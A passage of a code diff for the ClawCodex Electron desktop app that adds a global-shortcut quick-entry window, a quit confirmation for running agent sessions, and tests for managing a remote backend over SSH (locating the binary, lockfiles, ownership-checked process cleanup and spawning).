+    const bounds = quickEntryWindowBounds({ height: 120, width: 320, x: 0, y: 0 })
+
+    expect(bounds.width).toBeLessThanOrEqual(320)
+    expect(bounds.height).toBeLessThanOrEqual(120)
+    expect(bounds.y + bounds.height).toBeLessThanOrEqual(120)
+  })
+
+  it('falls back to the origin without a work area', () => {
+    expect(quickEntryWindowBounds()).toEqual({ height: 168, width: 640, x: 0, y: 0 })
+  })
+})
diff --git a/ui-desktop/electron/quick-entry.ts b/ui-desktop/electron/quick-entry.ts
new file mode 100644
index 000000000..17ea28abd
--- /dev/null
+++ b/ui-desktop/electron/quick-entry.ts
@@ -0,0 +1,421 @@
+/**
+ * Quick Entry — the global-hotkey mini composer.
+ *
+ * A small frameless always-on-top window that a global shortcut summons from
+ * anywhere so the user can fire a prompt at ClawCodex without raising the whole
+ * app. The window carries NO gateway connection of its own: it forwards the
+ * text to the primary renderer, which sends it through the SAME prompt-submit
+ * path the normal composer uses (see app/contrib/hooks/use-quick-entry-bridge).
+ *
+ * Everything Electron-free lives here so the parts that actually break a user —
+ * accelerator validation, "disabled means never register", and surfacing a
+ * shortcut another app already owns — are unit-testable without booting
+ * Electron. main.ts owns the BrowserWindow, the file I/O, and the real
+ * `globalShortcut`.
+ */
+
+// Default matches the muscle memory of the apps this ports from (Claude
+// Desktop's quick entry / ChatGPT's Quick Chat sit on a Cmd+Shift chord).
+const DEFAULT_QUICK_ENTRY_SHORTCUT = 'CommandOrControl+Shift+Space'
+
+// Compact capture surface: wide enough for a sentence, short enough to read as
+// a HUD rather than a second app window. Height covers the composer row plus
+// the session-target picker row; the renderer never grows the OS window in v1.
+const QUICK_ENTRY_WINDOW_WIDTH = 640
+const QUICK_ENTRY_WINDOW_HEIGHT = 168
+
+// Spotlight-ish placement: horizontally centered on the active display, a
+// comfortable fraction down from the top rather than dead center.
+const QUICK_ENTRY_TOP_FRACTION = 0.22
+
+// Electron accelerator vocabulary (electronjs.org/docs/latest/api/accelerator).
+// Kept as data so validation and the settings UI agree on one list.
+const ACCELERATOR_MODIFIERS = new Set([
+  'alt',
+  'altgr',
+  'cmd',
+  'cmdorctrl',
+  'command',
+  'commandorcontrol',
+  'control',
+  'ctrl',
+  'meta',
+  'option',
+  'shift',
+  'super'
+])
+
+const ACCELERATOR_KEYS = new Set([
+  'backspace',
+  'delete',
+  'down',
+  'end',
+  'enter',
+  'escape',
+  'home',
+  'insert',
+  'left',
+  'medianexttrack',
+  'mediaplaypause',
+  'mediaprevioustrack',
+  'mediastop',
+  'pagedown',
+  'pageup',
+  'plus',
+  'printscreen',
+  'return',
+  'right',
+  'space',
+  'tab',
+  'up',
+  'volumedown',
+  'volumemute',
+  'volumeup'
+])
+
+// Single printable characters Electron accepts verbatim, plus 0-9 / A-Z below.
+const ACCELERATOR_PUNCTUATION = new Set([
+  '!',
+  '"',
+  '#',
+  '$',
+  '%',
+  '&',
+  "'",
+  '(',
+  ')',
+  '*',
+  '+',
+  ',',
+  '-',
+  '.',
+  '/',
+  ':',
+  ';',
+  '<',
+  '=',
+  '>',
+  '?',
+  '@',
+  '[',
+  '\\',
+  ']',
+  '^',
+  '_',
+  '`',
+  '{',
+  '|',
+  '}',
+  '~'
+])
+
+/** Why a shortcut string was rejected. The renderer maps these to copy. */
+export type QuickEntryShortcutError =
+  'empty' | 'invalid-key' | 'invalid-modifier' | 'no-key' | 'no-modifier' | 'reserved'
+
+export type QuickEntryShortcutParse = { ok: false; reason: QuickEntryShortcutError } | { accelerator: string; ok: true }
+
+function isAcceleratorKey(token: string): boolean {
+  if (ACCELERATOR_KEYS.has(token)) {
+    return true
+  }
+
+  if (/^f([1-9]|1[0-9]|2[0-4])$/.test(token)) {
+    return true
+  }
+
+  if (/^num(?:[0-9]|lock|dec|add|sub|mult|div)$/.test(token)) {
+    return true
+  }
+
+  return token.length === 1 && (/^[a-z0-9]$/.test(token) || ACCELERATOR_PUNCTUATION.has(token))
+}
+
+/**
+ * Validate + normalize a user-typed accelerator.
+ *
+ * Rules beyond Electron's own grammar, both deliberate:
+ * - At least one modifier. A bare global key steals that key from EVERY app.
+ * - `Escape` can't be the key: inside the window Escape means "hide", so
+ *   binding it globally would make the shortcut un-toggleable.
+ */
+export function parseQuickEntryShortcut(raw: unknown): QuickEntryShortcutParse {
+  if (typeof raw !== 'string' || !raw.trim()) {
+    return { ok: false, reason: 'empty' }
+  }
+
+  const parts = raw
+    .split('+')
+    .map(part => part.trim())
+    .filter(Boolean)
+
+  if (parts.length === 0) {
+    return { ok: false, reason: 'empty' }
+  }
+
+  const modifiers: string[] = []
+  let key: null | string = null
+
+  for (const part of parts) {
+    const lower = part.toLowerCase()
+
+    if (ACCELERATOR_MODIFIERS.has(lower)) {
+      if (key) {
+        // A modifier after the key ("A+Shift") is not a valid accelerator.
+        return { ok: false, reason: 'invalid-modifier' }
+      }
+
+      modifiers.push(lower)
+
+      continue
+    }
+
+    if (key) {
+      // Two non-modifier keys ("Shift+A+B").
+      return { ok: false, reason: 'invalid-key' }
+    }
+
+    if (!isAcceleratorKey(lower)) {
+      return { ok: false, reason: 'invalid-key' }
+    }
+
+    key = lower
+  }
+
+  if (!key) {
+    return { ok: false, reason: 'no-key' }
+  }
+
+  if (modifiers.length === 0) {
+    return { ok: false, reason: 'no-modifier' }
+  }
+
+  if (key === 'escape') {
+    return { ok: false, reason: 'reserved' }
+  }
+
+  // Canonical casing so a saved shortcut round-trips identically no matter how
+  // the user typed it, and duplicate modifiers collapse.
+  const seen = new Set<string>()
+
+  const normalizedModifiers = modifiers
+    .map(modifier => CANONICAL_MODIFIER[modifier] ?? modifier)
+    .filter(modifier => (seen.has(modifier) ? false : (seen.add(modifier), true)))
+    // Stable display order (Electron itself is order-insensitive).
+    .sort((left, right) => MODIFIER_ORDER.indexOf(left) - MODIFIER_ORDER.indexOf(right))
+
+  return { accelerator: [...normalizedModifiers, canonicalKey(key)].join('+'), ok: true }
+}
+
+const CANONICAL_MODIFIER: Record<string, string> = {
+  alt: 'Alt',
+  altgr: 'AltGr',
+  cmd: 'Command',
+  cmdorctrl: 'CommandOrControl',
+  command: 'Command',
+  commandorcontrol: 'CommandOrControl',
+  control: 'Control',
+  ctrl: 'Control',
+  meta: 'Super',
+  option: 'Option',
+  shift: 'Shift',
+  super: 'Super'
+}
+
+const MODIFIER_ORDER = ['CommandOrControl', 'Command', 'Control', 'Super', 'Alt', 'Option', 'AltGr', 'Shift']
+
+const CANONICAL_KEY: Record<string, string> = {
+  backspace: 'Backspace',
+  delete: 'Delete',
+  down: 'Down',
+  end: 'End',
+  enter: 'Enter',
+  escape: 'Escape',
+  home: 'Home',
+  insert: 'Insert',
+  medianexttrack: 'MediaNextTrack',
+  mediaplaypause: 'MediaPlayPause',
+  mediaprevioustrack: 'MediaPreviousTrack',
+  mediastop: 'MediaStop',
+  pagedown: 'PageDown',
+  pageup: 'PageUp',
+  plus: 'Plus',
+  printscreen: 'PrintScreen',
+  return: 'Return',
+  right: 'Right',
+  space: 'Space',
+  tab: 'Tab',
+  up: 'Up',
+  volumedown: 'VolumeDown',
+  volumemute: 'VolumeMute',
+  volumeup: 'VolumeUp',
+  left: 'Left'
+}
+
+function canonicalKey(key: string): string {
+  if (CANONICAL_KEY[key]) {
+    return CANONICAL_KEY[key]
+  }
+
+  if (/^f([1-9]|1[0-9]|2[0-4])$/.test(key)) {
+    return key.toUpperCase()
+  }
+
+  if (key.length === 1 && /^[a-z]$/.test(key)) {
+    return key.toUpperCase()
+  }
+
+  return key
+}
+
+/** The persisted shape of `quick-entry.json` (main-process owned). */
+export interface QuickEntrySettings {
+  enabled: boolean
+  shortcut: string
+}
+
+/**
+ * Raw persisted JSON → usable settings. A malformed/absent file, or a shortcut
+ * that no longer validates (hand-edited, or from a future build), falls back to
+ * the default shortcut rather than leaving the feature un-summonable.
+ */
+export function sanitizeQuickEntrySettings(raw: unknown): QuickEntrySettings {
+  const record = raw && typeof raw === 'object' ? (raw as Record<string, unknown>) : {}
+  const parsed = parseQuickEntryShortcut(record.shortcut)
+
+  return {
+    // Default ON: the feature is inert until the shortcut is pressed.
+    enabled: record.enabled === undefined ? true : record.enabled === true,
+    shortcut: parsed.ok ? parsed.accelerator : DEFAULT_QUICK_ENTRY_SHORTCUT
+  }
+}
+
+/** The slice of Electron's `globalShortcut` we use (injected for testing). */
+export interface GlobalShortcutLike {
+  isRegistered(accelerator: string): boolean
+  register(accelerator: string, callback: () => void): boolean
+  unregister(accelerator: string): void
+}
+
+/**
+ * What Settings shows. `registered` is the ground truth (we asked the OS);
+ * `error` distinguishes "you turned it off" from "another app owns that chord",
+ * which is the failure this feature must never swallow.
+ */
+export interface QuickEntryRegistration {
+  error: null | QuickEntryRegistrationError
+  registered: boolean
+  shortcut: string
+}
+
+export type QuickEntryRegistrationError = 'invalid' | 'taken'
+
+export interface QuickEntryShortcutController {
+  /** Registration state as of the last apply. */
+  current(): QuickEntryRegistration
+  /** Release the shortcut (quit / feature off). Idempotent. */
+  dispose(): void
+  /** Re-register to match `settings`. Returns the resulting state. */
+  apply(settings: QuickEntrySettings): QuickEntryRegistration
+}
+
+/**
+ * Owns the one live global accelerator. Single resolver so every caller — boot,
+ * the settings write, quit — gets the same answer and we can never leak two
+ * registrations for one feature.
+ *
+ * Disabled settings never touch `register()` at all: a user who turned Quick
+ * Entry off must not have their chord silently held hostage.
+ */
+export function createQuickEntryShortcut(
+  globalShortcut: GlobalShortcutLike,
+  onTrigger: () => void
+): QuickEntryShortcutController {
+  let active: null | string = null
+  let state: QuickEntryRegistration = { error: null, registered: false, shortcut: DEFAULT_QUICK_ENTRY_SHORTCUT }
+
+  const release = () => {
+    if (active) {
+      try {
+        globalShortcut.unregister(active)
+      } catch {
+        // Best effort — a dead accelerator must not block a re-register.
+      }
+
+      active = null
+    }
+  }
+
+  return {
+    apply(settings) {
+      const parsed = parseQuickEntryShortcut(settings.shortcut)
+      const shortcut = parsed.ok ? parsed.accelerator : settings.shortcut
+
+      release()
+
+      if (!settings.enabled) {
+        state = { error: null, registered: false, shortcut }
+
+        return state
+      }
+
+      if (!parsed.ok) {
+        state = { error: 'invalid', registered: false, shortcut }
+
+        return state
+      }
+
+      // `isRegistered` catches the common conflict before we ask, and
+      // `register()` returning false catches the rest (another process owns it
+      // OS-wide). Both land in the same surfaced 'taken' state.
+      let ok = false
+
+      try {
+        ok = globalShortcut.isRegistered(parsed.accelerator)
+          ? false
+          : globalShortcut.register(parsed.accelerator, onTrigger)
+      } catch {
+        ok = false
+      }
+
+      active = ok ? parsed.accelerator : null
+      state = { error: ok ? null : 'taken', registered: ok, shortcut: parsed.accelerator }
+
+      return state
+    },
+    current() {
+      return state
+    },
+    dispose() {
+      release()
+      state = { ...state, error: null, registered: false }
+    }
+  }
+}
+
+/**
+ * Where the quick window opens on a given display work area. Centered
+ * horizontally, a fraction down from the top, and clamped so it stays fully
+ * inside the work area on small/odd displays.
+ */
+export function quickEntryWindowBounds(workArea?: { height: number; width: number; x: number; y: number }): {
+  height: number
+  width: number
+  x: number
+  y: number
+} {
+  const width = Math.min(QUICK_ENTRY_WINDOW_WIDTH, workArea?.width ?? QUICK_ENTRY_WINDOW_WIDTH)
+  const height = Math.min(QUICK_ENTRY_WINDOW_HEIGHT, workArea?.height ?? QUICK_ENTRY_WINDOW_HEIGHT)
+
+  if (!workArea) {
+    return { height, width, x: 0, y: 0 }
+  }
+
+  const x = Math.round(workArea.x + (workArea.width - width) / 2)
+  const maxY = workArea.y + workArea.height - height
+  const y = Math.round(Math.min(Math.max(workArea.y, workArea.y + workArea.height * QUICK_ENTRY_TOP_FRACTION), maxY))
+
+  return { height, width, x, y }
+}
+
+export { DEFAULT_QUICK_ENTRY_SHORTCUT, QUICK_ENTRY_TOP_FRACTION, QUICK_ENTRY_WINDOW_HEIGHT, QUICK_ENTRY_WINDOW_WIDTH }
diff --git a/ui-desktop/electron/quit-guard.test.ts b/ui-desktop/electron/quit-guard.test.ts
new file mode 100644
index 000000000..f8f222483
--- /dev/null
+++ b/ui-desktop/electron/quit-guard.test.ts
@@ -0,0 +1,62 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { mergeActiveWork, normalizeActiveWork, quitPromptFor } from './quit-guard'
+
+test('normalizeActiveWork drops junk and keeps the count at least the title count', () => {
+  assert.deepEqual(normalizeActiveWork(null), { count: 0, titles: [] })
+  assert.deepEqual(normalizeActiveWork({ count: 'many', titles: 'nope' }), { count: 0, titles: [] })
+  assert.deepEqual(normalizeActiveWork({ count: -3, titles: ['  Fix login  ', '', 7] }), {
+    count: 1,
+    titles: ['Fix login']
+  })
+})
+
+test('normalizeActiveWork keeps untitled sessions in the count', () => {
+  assert.deepEqual(normalizeActiveWork({ count: 3, titles: ['Fix login'] }), { count: 3, titles: ['Fix login'] })
+})
+
+test('mergeActiveWork de-dupes a session two windows both report', () => {
+  const merged = mergeActiveWork([
+    { count: 2, titles: ['Fix login', 'Ship docs'] },
+    { count: 1, titles: ['Fix login'] }
+  ])
+
+  assert.deepEqual(merged, { count: 2, titles: ['Fix login', 'Ship docs'] })
+})
+
+test('quitPromptFor stays out of the way when nothing is running', () => {
+  assert.equal(quitPromptFor({ count: 0, titles: [] }, false), null)
+})
+
+test('quitPromptFor stays out of the way during an update handoff', () => {
+  assert.equal(quitPromptFor({ count: 2, titles: ['Fix login'] }, true), null)
+})
+
+test('quitPromptFor names the running chats', () => {
+  const prompt = quitPromptFor({ count: 2, titles: ['Fix login', 'Ship docs'] }, false)
+
+  assert.ok(prompt)
+  assert.equal(prompt.message, 'ClawCodex is still working on 2 chats.')
+  assert.ok(prompt.detail.includes('• Fix login'))
+  assert.ok(prompt.detail.includes('• Ship docs'))
+})
+
+test('quitPromptFor summarizes past the list cap and counts untitled work', () => {
+  const prompt = quitPromptFor({ count: 9, titles: ['a', 'b', 'c', 'd', 'e', 'f'] }, false)
+
+  assert.ok(prompt)
+  assert.equal(prompt.message, 'ClawCodex is still working on 9 chats.')
+  assert.ok(prompt.detail.includes('• d'))
+  assert.ok(!prompt.detail.includes('• e'))
+  assert.ok(prompt.detail.includes('• 5 more'))
+})
+
+test('quitPromptFor speaks singular for one chat', () => {
+  const prompt = quitPromptFor({ count: 1, titles: [] }, false)
+
+  assert.ok(prompt)
+  assert.equal(prompt.message, 'ClawCodex is still working on 1 chat.')
+  assert.ok(prompt.detail.includes('mid-turn'))
+})
diff --git a/ui-desktop/electron/quit-guard.ts b/ui-desktop/electron/quit-guard.ts
new file mode 100644
index 000000000..3f4f52469
--- /dev/null
+++ b/ui-desktop/electron/quit-guard.ts
@@ -0,0 +1,92 @@
+// Quitting with a turn in flight kills the backend mid-tool-call: the work is
+// lost, and anything the agent had half-written to disk stays half-written.
+// Renderers publish what they're running; the main process asks before it lets
+// that go. The decision + copy live here (pure, testable) so main.ts only owns
+// the IPC and the dialog call.
+
+const MAX_LISTED = 4
+
+export interface ActiveWork {
+  /** Titles of sessions running a turn. Untitled sessions contribute a count only. */
+  titles: string[]
+  /** Running turns, including untitled ones — always >= titles.length. */
+  count: number
+}
+
+export const NO_ACTIVE_WORK: ActiveWork = { count: 0, titles: [] }
+
+/** Coerce an IPC payload from an untrusted renderer into an ActiveWork. */
+export function normalizeActiveWork(payload: unknown): ActiveWork {
+  if (!payload || typeof payload !== 'object') {
+    return NO_ACTIVE_WORK
+  }
+
+  const raw = payload as { count?: unknown; titles?: unknown }
+
+  const titles = Array.isArray(raw.titles)
+    ? raw.titles
+        .filter((title): title is string => typeof title === 'string')
+        .map(title => title.trim())
+        .filter(Boolean)
+    : []
+
+  const count = typeof raw.count === 'number' && Number.isFinite(raw.count) ? Math.max(0, Math.floor(raw.count)) : 0
+
+  return { count: Math.max(count, titles.length), titles }
+}
+
+/** Merge every window's report into one. Windows can show the same session. */
+export function mergeActiveWork(reports: Iterable<ActiveWork>): ActiveWork {
+  const titles: string[] = []
+  let count = 0
+
+  for (const report of reports) {
+    count = Math.max(count, report.count)
+
+    for (const title of report.titles) {
+      if (!titles.includes(title)) {
+        titles.push(title)
+      }
+    }
+  }
+
+  return { count: Math.max(count, titles.length), titles }
+}
+
+export interface QuitPrompt {
+  detail: string
+  message: string
+}
+
+/**
+ * The confirmation to show, or null when quitting should just proceed.
+ *
+ * `quittingForHandoff` covers the update / swap / uninstall relaunches: those
+ * are the app replacing itself, not the user walking away, and a modal there
+ * would strand the detached script waiting on a PID that never exits.
+ */
+export function quitPromptFor(work: ActiveWork, quittingForHandoff: boolean): null | QuitPrompt {
+  if (quittingForHandoff || work.count < 1) {
+    return null
+  }
+
+  const listed = work.titles.slice(0, MAX_LISTED)
+  const remaining = work.count - listed.length
+  const lines = listed.map(title => `• ${title}`)
+
+  if (remaining > 0) {
+    lines.push(remaining === 1 ? '• 1 more' : `• ${remaining} more`)
+  }
+
+  return {
+    detail: [
+      lines.join('\n'),
+      lines.length > 0 ? '' : null,
+      'Quitting stops the agent mid-turn. Any work it has not finished writing is lost.'
+    ]
+      .filter(line => line !== null)
+      .join('\n')
+      .trim(),
+    message: work.count === 1 ? 'ClawCodex is still working on 1 chat.' : `ClawCodex is still working on ${work.count} chats.`
+  }
+}
diff --git a/ui-desktop/electron/remote-lifecycle.test.ts b/ui-desktop/electron/remote-lifecycle.test.ts
new file mode 100644
index 000000000..302944cf2
--- /dev/null
+++ b/ui-desktop/electron/remote-lifecycle.test.ts
@@ -0,0 +1,1093 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { profileSshOverride } from './connection-config'
+import {
+  buildSpawnCommand,
+  cleanupStale,
+  connect,
+  expandRemotePath,
+  fingerprintToken,
+  isForwardBindCollision,
+  locateClawCodex,
+  LOCKFILE_SCHEMA_VERSION,
+  lockfilePath,
+  openForward,
+  ownershipDirectory,
+  pidIsOurDashboard,
+  probeRemotePlatform,
+  PROTOCOL_VERSION,
+  readLockfile,
+  READY_RE,
+  remotePidAlive,
+  remoteSupportsSshOwnership,
+  scrapeReadyPort,
+  spawnLogPath,
+  spawnRemoteDashboard,
+  validateRemotePath,
+  writeLockfile
+} from './remote-lifecycle'
+
+const OWNERSHIP_ID = '0123456789abcdef0123456789abcdef'
+const SPAWN_NONCE = '0123456789abcdef'
+
+function ownedLock(over: any = {}) {
+  return {
+    schemaVersion: LOCKFILE_SCHEMA_VERSION,
+    protocolVersion: PROTOCOL_VERSION,
+    ownershipId: OWNERSHIP_ID,
+    spawnNonce: SPAWN_NONCE,
+    pid: 333,
+    port: 40000,
+    profile: '',
+    clawcodexPath: '~/.local/bin/clawcodex',
+    clawcodexHome: '~/.clawcodex',
+    logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE),
+    tokenFingerprint: fingerprintToken('stored-token'),
+    startedAt: '2026-07-14T00:00:00.000Z',
+    ...over
+  }
+}
+
+// A fake SshConnection whose exec() is matched against an ordered list of
+// [regex|fn, response|fn] rules. First match wins; unmatched commands return ''.
+function fakeSsh(rules: any[] = []) {
+  const calls: string[] = []
+
+  return {
+    calls,
+    async exec(cmd) {
+      calls.push(cmd)
+
+      for (const [matcher, resp] of rules) {
+        const hit = typeof matcher === 'function' ? matcher(cmd) : matcher.test(cmd)
+
+        if (hit) {
+          const out = typeof resp === 'function' ? resp(cmd) : resp
+
+          if (out instanceof Error) {
+            throw out
+          }
+
+          return out
+        }
+      }
+
+      return ''
+    }
+  }
+}
+
+test('locateClawCodex prefers the explicit profile path when executable', async () => {
+  const ssh = fakeSsh([[/\[ -x .*\/opt\/clawcodex/, 'OK']])
+  assert.equal(await locateClawCodex(ssh, '/opt/clawcodex'), '/opt/clawcodex')
+})
+
+test('locateClawCodex throws (no silent fallback) when an EXPLICIT path is not executable', async () => {
+  // command -v WOULD find a different install, but an explicit path must not
+  // silently fall back to it — that is the "connected to the wrong clawcodex" bug.
+  const ssh = fakeSsh([
+    [/command -v clawcodex/, '/home/u/.local/bin/clawcodex\n'],
+    [/\[ -x .*\.local\/bin\/clawcodex/, 'OK']
+  ])
+
+  await assert.rejects(
+    () => locateClawCodex(ssh, '/bad/path/clawcodex'),
+    (err: any) => {
+      assert.equal(err.kind, 'clawcodex-not-found')
+      assert.match(err.message, /\/bad\/path\/clawcodex/)
+
+      return true
+    }
+  )
+})
+
+test('locateClawCodex falls back to the login-shell command -v probe', async () => {
+  const ssh = fakeSsh([
+    [/command -v clawcodex/, '/home/u/.local/bin/clawcodex\n'],
+    [/\[ -x .*\.local\/bin\/clawcodex/, 'OK']
+  ])
+
+  assert.equal(await locateClawCodex(ssh, ''), '/home/u/.local/bin/clawcodex')
+})
+
+test('locateClawCodex canonicalizes an installer wrapper to its executable target', async () => {
+  const ssh = fakeSsh([
+    [/command -v clawcodex/, '/home/u/.local/bin/clawcodex\n'],
+    [/\[ -x .*\.local\/bin\/clawcodex/, 'OK'],
+    [/python3 -c/, '/home/u/.clawcodex/clawcodex/venv/bin/clawcodex\n']
+  ])
+
+  assert.equal(await locateClawCodex(ssh, ''), '/home/u/.clawcodex/clawcodex/venv/bin/clawcodex')
+})
+
+test('locateClawCodex falls back to ~/.local/bin/clawcodex when the login-shell probe misses', async () => {
+  // ~/.local/bin is the non-root installer's command location (scripts/install.sh).
+  const ssh = fakeSsh([
+    [/command -v clawcodex/, ''],
+    [/\[ -x .*\.local\/bin\/clawcodex/, 'OK']
+  ])
+
+  assert.equal(await locateClawCodex(ssh, ''), '~/.local/bin/clawcodex')
+})
+
+test('locateClawCodex tries the conventional venv path last', async () => {
+  const ssh = fakeSsh([[/\[ -x .*venv\/bin\/clawcodex/, 'OK']])
+  assert.equal(await locateClawCodex(ssh, ''), '~/.clawcodex/clawcodex/venv/bin/clawcodex')
+})
+
+test('locateClawCodex throws a clawcodex-not-found error with an install hint', async () => {
+  const ssh = fakeSsh([]) // nothing is executable
+  await assert.rejects(
+    () => locateClawCodex(ssh, ''),
+    (err: any) => {
+      assert.equal(err.kind, 'clawcodex-not-found')
+      assert.match(err.message, /install/i)
+
+      return true
+    }
+  )
+})
+
+test('locateClawCodex uses a login shell for the command -v probe', async () => {
+  const ssh = fakeSsh([
+    [/command -v clawcodex/, '/x/clawcodex'],
+    [/\[ -x/, 'OK']
+  ])
+
+  await locateClawCodex(ssh, '')
+  assert.ok(
+    ssh.calls.some(c => /bash -lc/.test(c)),
+    'must probe in a login shell (PATH pitfall)'
+  )
+})
+
+test('probeRemotePlatform accepts Linux and macOS', async () => {
+  assert.deepEqual(await probeRemotePlatform(fakeSsh([[/uname/, 'Linux\nx86_64']])), {
+    os: 'Linux',
+    arch: 'x86_64'
+  })
+  assert.deepEqual(await probeRemotePlatform(fakeSsh([[/uname/, 'Darwin\narm64']])), {
+    os: 'Darwin',
+    arch: 'arm64'
+  })
+})
+
+test('probeRemotePlatform rejects unsupported remote platforms', async () => {
+  await assert.rejects(
+    () => probeRemotePlatform(fakeSsh([[/uname/, 'MINGW64_NT\nx86_64']])),
+    (err: any) => {
+      assert.equal(err.kind, 'unsupported-platform')
+
+      return true
+    }
+  )
+})
+
+test('ownership paths are isolated by ownership ID and spawn nonce', () => {
+  assert.equal(ownershipDirectory(OWNERSHIP_ID), `~/.clawcodex/desktop-ssh/${OWNERSHIP_ID}`)
+  assert.equal(lockfilePath(OWNERSHIP_ID), `~/.clawcodex/desktop-ssh/${OWNERSHIP_ID}/backend.lock.json`)
+  assert.equal(spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE), `~/.clawcodex/desktop-ssh/${OWNERSHIP_ID}/${SPAWN_NONCE}.log`)
+})
+
+test('readLockfile returns null for missing, empty, malformed, or wrong-schema', async () => {
+  assert.equal(await readLockfile(fakeSsh([[/cat/, '']]), OWNERSHIP_ID), null)
+  assert.equal(await readLockfile(fakeSsh([[/cat/, 'not json']]), OWNERSHIP_ID), null)
+  assert.equal(await readLockfile(fakeSsh([[/cat/, JSON.stringify({ schemaVersion: 999 })]]), OWNERSHIP_ID), null)
+  const good = ownedLock({ pid: 1, port: 2 })
+  assert.deepEqual(await readLockfile(fakeSsh([[/cat/, JSON.stringify(good)]]), OWNERSHIP_ID), good)
+})
+
+test('writeLockfile mkdir -ps and stamps the schema version', async () => {
+  const ssh = fakeSsh([])
+  await writeLockfile(ssh, OWNERSHIP_ID, ownedLock({ pid: 7, port: 9 }))
+  const cmd = ssh.calls.join('\n')
+  assert.match(cmd, /mkdir -p/)
+  assert.match(cmd, new RegExp(`"schemaVersion":${LOCKFILE_SCHEMA_VERSION}`))
+})
+
+test('remotePidAlive maps kill -0 ALIVE/DEAD', async () => {
+  assert.equal(await remotePidAlive(fakeSsh([[/kill -0/, 'ALIVE']]), 123), true)
+  assert.equal(await remotePidAlive(fakeSsh([[/kill -0/, 'DEAD']]), 123), false)
+  assert.equal(await remotePidAlive(fakeSsh([]), null), false)
+})
+
+test('metadata and process proof transport failures remain indeterminate', async () => {
+  const failure = new Error('connection reset')
+  await assert.rejects(
+    () => readLockfile(fakeSsh([[/cat/, failure]]), OWNERSHIP_ID),
+    (error: any) => error.kind === 'transient-transport-error'
+  )
+  await assert.rejects(
+    () => remotePidAlive(fakeSsh([[/kill -0/, failure]]), 123),
+    (error: any) => error.kind === 'transient-transport-error'
+  )
+  await assert.rejects(
+    () => pidIsOurDashboard(fakeSsh([[/print\("OWNED"/, failure]]), 5, SPAWN_NONCE, '/x/clawcodex'),
+    (error: any) => error.kind === 'transient-transport-error'
+  )
+})
+
+test('pidIsOurDashboard requires the exact serve ownership nonce', async () => {
+  const ours = `/x/clawcodex serve --isolated --ssh-owner-nonce ${SPAWN_NONCE}`
+  assert.equal(await pidIsOurDashboard(fakeSsh([[/print\("OWNED"/, 'OWNED\n']]), 5, SPAWN_NONCE, '/x/clawcodex'), true)
+  assert.equal(
+    await pidIsOurDashboard(
+      fakeSsh([[/print\("OWNED"/, command => (command.includes('fedcba9876543210') ? 'FOREIGN\n' : 'OWNED\n')]]),
+      5,
+      'fedcba9876543210',
+      '/x/clawcodex'
+    ),
+    false
+  )
+  assert.equal(await pidIsOurDashboard(fakeSsh([[/print\("OWNED"/, 'FOREIGN\n']]), 5, SPAWN_NONCE, '/x/clawcodex'), false)
+})
+
+test('cleanupStale kills ONLY a provably-ours pid, always drops the lockfile', async () => {
+  const notOurs = fakeSsh([[/print\("OWNED"/, 'FOREIGN\n']])
+  await cleanupStale(notOurs, OWNERSHIP_ID, {
+    pid: 5,
+    spawnNonce: SPAWN_NONCE,
+    clawcodexPath: '/x/clawcodex',
+    logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE)
+  })
+  assert.ok(!notOurs.calls.some(c => /kill 5\b/.test(c)), 'must not kill a pid that is not our dashboard')
+  assert.ok(notOurs.calls.some(c => /rm -f/.test(c)))
+
+  const ours = fakeSsh([[/print\("OWNED"/, 'OWNED\n']])
+  await cleanupStale(ours, OWNERSHIP_ID, {
+    pid: 9,
+    spawnNonce: SPAWN_NONCE,
+    clawcodexPath: '/x/clawcodex',
+    logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE)
+  })
+  assert.ok(ours.calls.some(c => /kill 9\b/.test(c)))
+  assert.ok(ours.calls.some(c => /rm -f/.test(c)))
+})
+
+test('buildSpawnCommand is headless serve, detached, token not in argv', () => {
+  const cmd = buildSpawnCommand('/x/clawcodex', 'work', { logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE) })
+  assert.match(cmd, /serve --isolated/)
+  assert.match(cmd, /--host 127\.0\.0\.1 --port 0/)
+  assert.doesNotMatch(cmd, /--skip-build|--no-open/)
+  assert.doesNotMatch(cmd, /\bdashboard\b/)
+  assert.match(cmd, /--profile/)
+  assert.match(cmd, /work/)
+  assert.match(cmd, /setsid/)
+  assert.match(cmd, /<\/dev\/null/)
+  assert.match(cmd, /echo \$!/)
+  assert.ok(!cmd.includes('tok_secret_value'), 'token must not appear in spawn command')
+  assert.ok(!cmd.includes('CLAWCODEX_DASHBOARD_SESSION_TOKEN'), 'token env var must not appear')
+})
+
+test('buildSpawnCommand always uses serve (legacy dashboard path removed)', () => {
+  const cmd = buildSpawnCommand('/x/clawcodex', 'work', { logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE) })
+  assert.match(cmd, /serve --isolated/)
+  assert.match(cmd, /--host 127\.0\.0\.1 --port 0/)
+  assert.doesNotMatch(cmd, /dashboard/)
+  assert.doesNotMatch(cmd, /--skip-build/)
+  assert.match(cmd, /setsid/)
+})
+
+test('spawnRemoteDashboard returns exact ownership artifacts', async () => {
+  const ssh = fakeSsh([
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/printf '%s\\n'/, ''],
+    [/setsid|nohup/, '4242\n']
+  ])
+
+  const { pid, spawnNonce, logPath } = await spawnRemoteDashboard(ssh, {
+    clawcodexPath: '/x/clawcodex',
+    profile: '',
+    token: 'tk',
+    ownershipId: OWNERSHIP_ID
+  })
+
+  assert.equal(pid, 4242)
+  assert.match(spawnNonce, /^[0-9a-f]{16}$/)
+  assert.equal(logPath, spawnLogPath(OWNERSHIP_ID, spawnNonce))
+})
+
+test('spawnRemoteDashboard always spawns serve (legacy dashboard path removed)', async () => {
+  const ssh = fakeSsh([
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/printf '%s\\n'/, ''],
+    [/setsid|nohup/, '4242\n']
+  ])
+
+  await spawnRemoteDashboard(ssh, { clawcodexPath: '/x/clawcodex', profile: '', token: 'tk', ownershipId: OWNERSHIP_ID })
+  const spawn = ssh.calls.find(c => /setsid|nohup/.test(c))
+  assert.match(spawn, /serve --isolated/)
+  assert.doesNotMatch(spawn, /\bdashboard\b/)
+})
+
